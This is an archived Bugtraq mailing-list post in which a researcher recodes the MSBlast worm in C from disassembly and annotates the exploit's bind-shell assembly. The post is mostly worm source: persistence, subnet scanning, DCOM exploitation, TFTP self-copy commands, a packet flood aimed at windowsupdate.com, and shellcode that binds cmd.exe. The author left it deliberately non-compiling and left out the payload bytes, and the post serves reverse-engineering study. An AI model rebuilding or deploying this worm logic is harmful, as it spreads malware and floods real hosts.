Home page logo

bugtraq logo Bugtraq mailing list archives

Recoding msblast.exe in C from disassembly
From: Rolf Rolles <rolf.rolles () ncf edu>
Date: 14 Aug 2003 06:19:21 -0000

DISCLAIMER:  Do not fix the poor syntax in my C code and compile it.  If 
you do 
something stupid with this, that's your problem, and I'm not responsible.  
The way I 
figure it, if you go out of your way to fix this to get it to compile, 
then you've
modified the code, it's not my work anymore, and therefore I am not 

I did this for one reason only:  pure RE for the sake of RE.

Anyway ... this is my first-ever binary analysis.  MSBlast.exe and a dump 
of the exploit
sent over port 135 were obtained from various people on IRC (thanks 
snacker and f0dder,
respectively).  Both were analyzed with IDA.  It took two or three hours 
to analyze the
exploit, and ten hours to analyze msblast.

Preliminary notes.

MSBlast was compiled with LCC 1.x, which made it particularly easy to 
The exploit encrypts itself via XOR.  A few simple modifications to 
the "Ripper" IDC
on datarescue's site takes care of this "protection".

A summary of MSBLAST, from the victim's standpoint:

A request comes in on port 135.  If open, the attacker immediately sends 
the exploit.
I am uncertain as to which platforms the return address[es] works on 
(though I know for 
a fact that an address was circulating privately that worked on both 2k 
SP* and XP SP*).
The shellcode binds cmd.exe to 135, and the attacker sends the following 
string of 

* tftp -i source_ip GET msblast.exe\n
* start msblast.exe\n
? msblast.exe\n

TFTP installs standard into \windows\system32.  TFTP is perfectly suited 
for this
application:  all msblast.exe has to do is fopen itself and send 200h byte 
chunks.  Easy.

(Interestingly, I tried to get infected from a random box in the wild, and 
every time I 
got a hit on port 135, the TFTP would not have finished by the time that 
the "start 
msblast" command was executed.  On a related note, the first copy of the 
binary I got 
from IRC was incomplete.  Perhaps a longer Sleep() is needed to rectify 
this problem.)

When msblast loads, its first action is to put itself into the 'run' 
registry key.
Next it picks a random class-C to scan, iteratively.  Then it checks the 
date;  if the
date is greater than 15 and the month is greater than 8, it starts a 
thread that lobs
custom-generated packets at windowsupdate.com.  Regardless of whether the 
date conditions
hold, it begins the scan on the class-C.  The scan uses 20 threads at a 

That's about all there is to it.  It uses a trick in infect_host() that 
I'm not aware of
to determine which return value to use in the exploit, and I don't know 
enough to tell
if there's anything remarkable about the generated packets it throws at 
It's all there in the source, if anyone cares to illuminate.

In analyzing the code I was unable to determine why the victim system 
reboots itself.  Perhaps it's just that NT doesn't like system services 
being killed.

The code follows.  Functions are listed in the order in which they 
physically appeared
in the binary.

I apologize for the formatting.

Oh, and as mentioned above, this will not compile.  I haven't coded 
anything serious
in C for sufficiently long enough that I forgot the proper syntax in some 
Also, if you examine the infect_host() function, you will see a reason 
that the 
code wouldn't work as-is even if it did compile.  And to be on the safe 
side, I left
the request1-4, bindstr and shellcode out of the source.  They're the same 
as in
any other published DCOM exploit, with a small exception:  request4 
differs in the
first seven bytes, but is identical otherwise, with the xfocus/k-otic/HDM 
the first seven bytes are 0xbe 0x22 0x9c 0x80 0x73 0xfe 0x58 rather than
                          0x01 0x10 0x08 0x00 0xcc 0xcc 0xcc.

// globals
unsigned long keystatus, class_a, class_b, class_c, t1, t2, t3, t4, 
unsigned long mysterious_dword=1, mystery_dword2=0;
char filename[0x104], *msblast="msblast.exe";
sockaddr cp;
socket s;

main(int argc, char *argv[])
        WSAData WSAData;
        char name[512];
        in_addr in;
        *hostent_ptr ptr_to_hostent;
        unsigned long passed=0;
        char DateStr[3], MonthStr[3];

(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windows", 
                         NULL, 0xF003F, NULL, &keystatus, NULL);

        RegSetValueExA(keystatus, "windows auto update", NULL, (ULONG)
1, "msblast.exe", (ULONG) 0x32);

        CreateMutexA(NULL, (ULONG)1, "BILLY");

        if(GetLastError()!=0xb7) ExitProcess(0);

        if(WSAStartup(MAKEWORD(2,2), &WSAData) || WSAStartup(MAKEWORD
(1,1), &WSAData) \ 
                        || WSAStartup((WORD)1, &WSAData))
                GetModuleFileNameA(NULL, &filename, SIZEOF(filename));
                while (!InternetGetConnectedState(&ThreadID, NULL)) {Sleep
                class_a = (rand() % 254)+1;
                class_b = (rand() % 254)+1;
                if((gethostname(&name, 512)!=-1) || 
                        if((unsigned long)*(ptr_to_hostent.h_list))
                                memcpy(&in, *(ptr_to_hostent.h_list), 4);
                                sprintf(&name, "%s", inet_ntoa(in.s_addr));
                                t1=atoi(strtok(&name, '.'));
                                t2=atoi(strtok(&name, '.'));
                                t3=atoi(strtok(&name, '.'));
                                if (t3>20)
                                        t3 -= (rand() % 20);
                if((rand() % 20)>12) passed=0; // this is weird
                if((rand()%10)>7) unknown_var=2;
                        t1 = (rand() % 254)+1;
                        t2 = (rand() % 254);
                        t3 = (rand() % 254);
                GetDateFormatA(0x409, NULL, NULL, "d", &DateStr, 3);
                GetDateFormatA(0x409, NULL, NULL, "d", &MonthStr, 3);
                if((atoi(&DateStr)>15) && (atoi(&MonthStr)>8)) 
                        CreateThread(NULL, NULL, &AttackMS, NULL, NULL, 
                while(1==1) {ScanAndInfect();}

void send_copy_of_self()
        char buf[0x204];
        sockaddr name;
        sockaddr to;
        unsigned long tolen=16, readlen;
        unsigned int var_204, var_202, var_200, i=0;
        FILE *thisfile;


        if((s=socket(2,2,0))==-1) goto this_loc_ret;
        memset(&name, NULL, 0x10);
        (unsigned int)name.sa_data=(unsigned int)htons(69);
        if(!(bind(s,&name, 0x10))) goto this_loc_ret;
        if((recvfrom(s,&buf, 0x204,NULL,&from, &fromlen))==-1) goto 
        if(!(thisfile=fopen(&filename,"rb"))) goto this_loc_ret;


                var_204=(unsigned int)htons(3);
                var_202=(unsigned int)htons(i);
                readlen=fread(&var_200, 1, 0x200, thisfile);
                if((sendto(s, &var_204, filelen, NULL, &to))<1) goto 
                if(readlen<0x204) goto send_self_loop;
                goto this_loc_ret;

                if(!((unsigned long)thisfile)) goto this_loc_ret;
                goto this_loc_ret;

        goto this_sub_start; // strange, but true


void inc_tvals()
        if(t4>254) {t4=0; t3++;}
        else {t4++; return;}
        if(t3>254) {t3=0; t2++;}
        else {t3++; return;}
        if(t2>254) {t2=0; t1++;}
        else {t1++; return;}
        if(t1>254) {t1=0; goto inc_tvals_start;}

void ScanAndInfect()
        fd_set writefds; // there's actually 64 fds in this array, 
although only 20 are used.
        in_addr in;
        unsigned long namelen, argp=1, tempvar2, tempvar3;
        sockaddr name;
        socket s[20], currsock;
        timeval timeout;
        memset(&name, 0, 16);
        for(int i=0; i<20; i++) 
                s[i*4]=socket((unsigned long)2, (unsigned long)1, 
(unsigned long)0);
                if((unsigned long)s[i*4]=-1) return;
                ioctlsocket(s[i*4], 0x8004667e, argp);
        for(int i=0; i<20; i++) 
                sprintf(&cp, "%i.%i.%i.%i", t1, t2, t3, t4);
                if(tempvar2=-1) return;
                (unsigned long)name.sa_data[2]=(unsigned long)tempvar2;
                connect(s[i*4], &name, 16);
        for(int i=0; i<20; i++)
                timeout.tv_sec=0; timeout.tv_usec=0; writefds.fd_count=0; 
                while (tempvar3 < writefds.fd_count)
                        if((writefds.fd_array[tempvar3]==currsock)) break;
                if((writefds.fd_count==tempvar3) && 
                if((select(NULL, NULL, &writefds, NULL, &timeout)<1) 
                        getpeername(s[i*4], &name, &namelen); // ?? 
doesn't seem to use the result of this call
                        infect_host(s[i*4], inet_ntoa(in.s_addr));


int __cdecl infect_host(SOCKET s,char *cp)
        sockaddr name;
        char fake_sockaddr[0x10], buf[0x370+0x2cc+0x3c], buf2[0x48];
        unsigned long argp=0, returnaddy=0, ipaddyofhosttoinfect, hObject, 
        /* At this point in the code there's some weirdness.
          mov     eax, 2934h
          call    the_code_below
                pop     ecx
                sub     esp, 1000h
                sub     eax, 1000h
                test    [esp], eax
                cmp     eax, 1000h
                jnb     short loc_4022B9
                sub     esp, eax
                test    [esp], eax
                jmp     ecx
        Anyone know what the hell this is?  I'm guessing LCC did not 
compile this code. */

        ioctlsocket(s,0x8004667e, &argp);
        if(mystery_dword2==1) returnaddy=0x100139d;
        else returnaddy=0x18759f;

        /* memcpy(&buf, &bindcode, 72);
        memcpy(&somestackvar, &request1, 864);
        memcpy(&somestackvar2, &request2, 16);
        memcpy(&somestackvar3, &request3, 60);
        memcpy(&somestackvar4, &sc, 716);
        memcpy(&somestackvar5, &request4, 48); 
        This is unnecessary crap in the code.  I rewrote it below.*/

        memcpy(buf2, bindcode, 0x48);
        memcpy(buf, request1, 0x360);
        memcpy(buf+0x360, request2, 0x10);
        memcpy(buf+0x370, sc, 0x2cc);
        memcpy(buf+0x394, returnaddy, 4);
        (unsigned long *)buf[0x370]+=(unsigned long)0x166;
        (unsigned long *)buf[0x378]+=(unsigned long)0x166;
        memcpy(buf+0x370+0x2cc, request3, 0x3c);
        memcpy(buf+0x370+0x2cc+0x3c, request4, 0x30);
        (unsigned long *)buf[0x8]+=(unsigned long)0x2c0;
        (unsigned long *)buf[0x10]+=(unsigned long)0x2c0;
        (unsigned long *)buf[0x80]+=(unsigned long)0x2c0;
        (unsigned long *)buf[0x84]+=(unsigned long)0x2c0;
        (unsigned long *)buf[0xb4]+=(unsigned long)0x2c0;
        (unsigned long *)buf[0xb8]+=(unsigned long)0x2c0;
        (unsigned long *)buf[0xd0]+=(unsigned long)0x2c0;
        (unsigned long *)buf[0x18c]+=(unsigned long)0x2c0;
        if((send(s, &buf2, 0x48, NULL))==-1) goto common_socket_failure;
        if((send(s, &buf, len, NULL))==-1) goto common_socket_failure;
        if((sploit_socket=socket(2, 1, 0))==-1) goto common_socket_failure;
        memset(&name, (unsigned int)0, 0x10);
        name.sa_data=(unsigned int)htons(4444);
        if((name.sa_data[2]=(unsigned long)inet_addr(BOX_TO_INFECT))==-1) 
goto common_socket_failure;
        if((connect(sploit_socket, &name, 0x10))==-1) goto 
        memset(&ipofsendingbox, (unsigned int)0, 0x10);
        memset(&fake_sockaddr, (unsigned int)0, 0x10);
        getsockname(sploit_socket, &fake_sockaddr, &namelen);
        sprintf(&ipofsendingbox, "%d.%d.%d.%d", (unsigned short)
fake_sockaddr[4],(unsigned short)fake_sockaddr[5],(unsigned short)
fake_sockaddr[6],(unsigned short)fake_sockaddr[7]);
        if(s) closesocket(s);
        hObject=CreateThread(NULL, NULL, &send_copy_of_self, NULL, NULL, 
        sprintf(&cmdbuffer, "tftp -i %s GET %s\n", &ipofsendingbox, 
        if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) 
goto close_socket;
        for(int i=0; i<10; i++)
                if (mysterious_dword=0) break;
                else Sleep(2000);
        sprintf(&cmdbuffer, "start %s\n", &msblast);
        if((send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL))<1) 
goto close_socket;
        sprintf(&cmdbuffer, "%s\n", &msblast);
        send(sploit_socket, &cmdbuffer, strlen(&cmdbuffer), NULL);
        if(sploit_socket) closesocket(sploit_socket2);
                TerminateThread(hObject, NULL);
        if(hObject) CloseHandle(hObject);

unsigned int checksum(char *checkdata, unsigned long checklength)
        int j=0;
        unsigned long accum, accum2, accum3;
        unsigned int currword;
        for(i=checklength; i>1; i-=2)
                currword = (unsigned int)checkdata[j];
        if(i==1) accum+=(unsigned short)checkdata[j+1];
        accum3 &= (unsigned long)0x0000FFFF;
        accum = accum2;
        accum += accum3;
        accum2 = accum;
        accum2 >> 16;
        accum += accum2;
        accum = ~accum;
        accum &= (unsigned long)0x0000ffff;
        return accum;

int __cdecl GetIpAddy(char *name)
        unsigned long E_AX;
        E_AX=(unsigned long)inet_addr(name);
        if (E_AX!=-1) return E_AX;
        E_AX=(unsigned long)gethostbyname(name);
        if (E_AX==-1) return E_AX;
        E_AX=(unsigned long)*(*(*(E_AX+12)));
        return E_AX;

unsigned long __stdcall AttackMS(LPVOID)
        unsigned long ipaddrms, socketms, sockoptsretval, optval=1;
        ipaddrms=(unsigned long)GetIPAddy("windowsupdate.com");
        socketms=WSASocketA(2,3,0xff,NULL,NULL,1); if (socketms==-1) 
        sockoptsretval=setsockopt(E_BX, NULL, 2, &optval, (unsigned long)
4); if (sockoptsretval==-1) return;
        while(1==1) {build_and_send_packets(ipaddrms, socketms);  Sleep
void build_and_send_packets(unsigned long msipaddr, socket s)
        char buf1[0xc];
        char buf[0x64];
        sockaddr to;
        char name[0x10];
        sprintf(&name, "%i.%i.%i.%i", class_a, class_b, rand()%255, rand()%
        to.sa_data=(unsigned int)htons(0x50);
        buf[0x50]=(unsigned short)0x45;        
        buf[0x52]=(unsigned int)htons(0x28);
        buf[0x54]=(unsigned int)1;
        buf[0x56]=(unsigned int)0;
        buf[0x58]=(unsigned short)0x80;
        buf[0x59]=(unsigned short)6;
        buf[0x5a]=(unsigned int)0;
        buf[0x60]=(unsigned long)msipaddr;
        buf[0x3e]=(unsigned int)htons(0x50);
        buf[0x44]=(unsigned long)0;
        buf[0x46]=(unsigned short)0x50;
        buf[0x47]=(unsigned short)2;
        buf[0x48]=(unsigned int)htons(0x4000);
        buf[0x4a]=(unsigned int)0;
        buf[0x4c]=(unsigned int)0;
        buf1[4]=(unsigned long)msipaddr;
        buf1[8]=(unsigned short)0;
        buf1[9]=(unsigned short)0;
        buf1[10]=(unsigned int)htons(0x14);
        buf[0x5c]=(unsigned long)msipaddr;
        buf[0x3c]=(unsigned int)htons((rand() % 1000)+1000);
        var_9c |= rand();
        var_9c &= (unsigned long)0x0000FFFF;
        buf[0x40]=(unsigned int)htons(var_9c);
        memcpy(&buf, &buf1, 0xc);
        memcpy(&buf[8], &buf[0x38], 0x14);
        buf[0x4c]=(unsigned int)checksum(&buf, 0x20);
        memcpy(&buf, &buf[0x50], 0x14);
        memcpy(&buf[0x14], &buf[0x3c], 0x14);
        memset(&buf[0x28], (unsigned int) 0, 4);
        buf[0x5a]=(unsigned int)checksum(&buf, 0x28);
        memcpy(&buf, &buf[0x50], 0x14);

        // again, anyone know what kind of packets these are?

        sendto(s, &buf, 0x28, NULL, &to, 0x10);


And the analysis of the exploit itself:  (the comments became sparse when 
I realized
that the code was ripped from HalVar (URL is below)).  ScanForAPI is 
thoroughly commented.


loc_4AF:                                ; CODE XREF: seg000:000004A8j
                sub     esp, 34h
                mov     esi, esp
                call    GetKernel32BaseAddy
                mov     [esi], eax      ; EAX is the base address of 
                push    dword ptr [esi]
                push    0EC0E4E8Eh      ; corresponds to LoadLibraryA
                call    ScanForAPI
                mov     [esi+8], eax
                push    dword ptr [esi]
                push    0CE05D9ADh      ; WaitForSingleObject
                call    ScanForAPI
                mov     [esi+0Ch], eax
                push    6C6Ch
                push    642E3233h
                push    5F327377h       ; ws32_2.dll
                push    esp
                call    dword ptr [esi+8]
                mov     [esi+4], eax    ; esi + 4 = HModule of ws32_2.dll
                push    dword ptr [esi]
                push    16B3FE72h       ; CreateProcessA
                call    ScanForAPI
                mov     [esi+10h], eax
                push    dword ptr [esi]
                push    73E2D87Eh       ; ExitProcess
                call    ScanForAPI
                mov     [esi+14h], eax
                push    dword ptr [esi+4]
                push    3BFCEDCBh       ; WSAStartup
                call    ScanForAPI
                mov     [esi+18h], eax
                push    dword ptr [esi+4]
                push    0ADF509D9h      ; WSASocketA
                call    ScanForAPI
                mov     [esi+1Ch], eax
                push    dword ptr [esi+4]
                push    0C7701AA4h      ; bind
                call    ScanForAPI
                mov     [esi+20h], eax
                push    dword ptr [esi+4]
                push    0E92EADA4h      ; listen
                call    ScanForAPI
                mov     [esi+24h], eax
                push    dword ptr [esi+4]
                push    498649E5h       ; accept
                call    ScanForAPI
                mov     [esi+28h], eax
                push    dword ptr [esi+4]
                push    79C679E7h       ; closesocket
                call    ScanForAPI
                mov     [esi+2Ch], eax
                xor     edi, edi
                sub     esp, 190h
                push    esp
                push    101h
                call    dword ptr [esi+18h] ; WSAStartup returns 0 if 
                push    eax
                push    eax
                push    eax
                push    eax
                inc     eax
                push    eax
                inc     eax
                push    eax             ; call wsasocketa
                call    dword ptr [esi+1Ch] ; this code sequence stolen 
from halvar @ www.darklab.org/archive/msg00183.html
                mov     ebx, eax        ; ironically, halvar decries 
source stealing in that link .. heh
                push    edi
                push    edi
                push    5C110002h
                mov     ecx, esp
                push    16h
                push    ecx
                push    ebx
                call    dword ptr [esi+20h] ; bind
                push    edi
                push    ebx
                call    dword ptr [esi+24h] ; listen
                push    edi
                push    ecx
                push    ebx
                call    dword ptr [esi+28h] ; accept
                mov     edx, eax
                push    657865h         ; cmd.exe
                push    2E646D63h
                mov     [esi+30h], esp
                sub     esp, 54h
                lea     edi, [esp]
                xor     eax, eax
                xor     ecx, ecx
                add     ecx, 15h

loc_5C2:                                ; CODE XREF: seg000:000005C3j
                loop    loc_5C2
                mov     byte ptr [esp+10h], 44h ; 'D'
                inc     byte ptr [esp+3Dh]
                mov     [esp+48h], edx
                mov     [esp+4Ch], edx
                mov     [esp+50h], edx
                lea     eax, [esp+10h]
                push    esp
                push    eax
                push    ecx
                push    ecx
                push    ecx
                push    1
                push    ecx
                push    ecx
                push    dword ptr [esi+30h]
                push    ecx
                call    dword ptr [esi+10h] ; CreateProcessA
                mov     ecx, esp
                push    0FFFFFFFFh
                push    dword ptr [ecx]
                call    dword ptr [esi+0Ch] ; waitforsingleobject
                mov     ecx, eax
                push    edi
                call    dword ptr [esi+2Ch] ; closesocket
                call    dword ptr [esi+14h] ; exitprocess

GetKernel32BaseAddy proc near           ; CODE XREF: seg000:000004B4p
                push    ebp             ; see halvar's code for comments
                push    esi
                mov     eax, large fs:30h
                test    eax, eax
                js      short loc_618
                mov     eax, [eax+0Ch]
                mov     esi, [eax+1Ch]
                mov     ebp, [eax+8]
                jmp     short loc_621

loc_618:                                ; CODE XREF: 
                mov     eax, [eax+34h]
                mov     ebp, [eax+0B8h]

loc_621:                                ; CODE XREF: 
                mov     eax, ebp
                pop     esi
                pop     ebp
                retn    4
GetKernel32BaseAddy endp

ScanForAPI      proc near               ; CODE XREF: seg000:000004C2p
                                        ; seg000:000004D1p ...

pattern         = dword ptr  14h
baseaddy        = dword ptr  18h

                push    ebx
                push    ebp
                push    esi
                push    edi
                mov     ebp, [esp+baseaddy] ; get start of given DLL in 
                mov     eax, [ebp+3Ch]  ; get start of PE header
                mov     edx, [ebp+eax+78h] ; get base of export table
                add     edx, ebp        ; edx = mem addy of export table
                mov     ecx, [edx+18h]  ; ecx = number of names
                mov     ebx, [edx+20h]  ; ebx = RVA of AddressOfNames
                add     ebx, ebp        ; ebx = mem addy of AddressOfNames

loc_641:                                ; CODE XREF: ScanForAPI+36j
                jecxz   short loc_675   ; if ECX = 0, couldn't find 
the 'string'
                dec     ecx             ; each time through the loop, ecx--
                mov     esi, [ebx+ecx*4] ; get RVA of first name
                add     esi, ebp        ; convert it into mem addy
                xor     edi, edi        ; clear EDI so it can assume its 
                cld                     ; direction = forwards

loc_64C:                                ; CODE XREF: ScanForAPI+30j
                xor     eax, eax
                lodsb                   ; load a byte of the API name from 
                cmp     al, ah          ; did we load a zero byte?
                jz      short loc_65A   ; yeah, we're done for this name
                ror     edi, 0Dh        ; nope, form the weirdo value in 
                add     edi, eax
                jmp     short loc_64C   ; restart

loc_65A:                                ; CODE XREF: ScanForAPI+29j
                cmp     edi, [esp+pattern] ; did the API name match what 
we wanted?
                jnz     short loc_641   ; nope, retry
                mov     ebx, [edx+24h]
                add     ebx, ebp        ; ebx = mem addy of 
                mov     cx, [ebx+ecx*2] ; cx = ordinal of function
                mov     ebx, [edx+1Ch]
                add     ebx, ebp        ; ebx = mem addy 
of "AddressOfFunctions"
                mov     eax, [ebx+ecx*4] ; take EAX = RVA of ordinal #cx
                add     eax, ebp        ; eax becomes a mem addy
                jmp     short loc_677   ; done

loc_675:                                ; CODE XREF: ScanForAPI+19j
                xor     eax, eax        ; couldn't find it, so EAX=0

loc_677:                                ; CODE XREF: ScanForAPI+4Bj
                mov     edx, ebp        ; edx = base addy of DLL
                pop     edi
                pop     esi
                pop     ebp
                pop     ebx
                retn    4               ; cleanup and return
ScanForAPI      endp

Accz, cynica_l, blorght, halvar the bigshot, analyst, zen, nu, nroc, 
carpathia, all of #ol, 
Jessica and my family.

  By Date           By Thread  

Current thread:
  • Recoding msblast.exe in C from disassembly Rolf Rolles (Aug 14)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]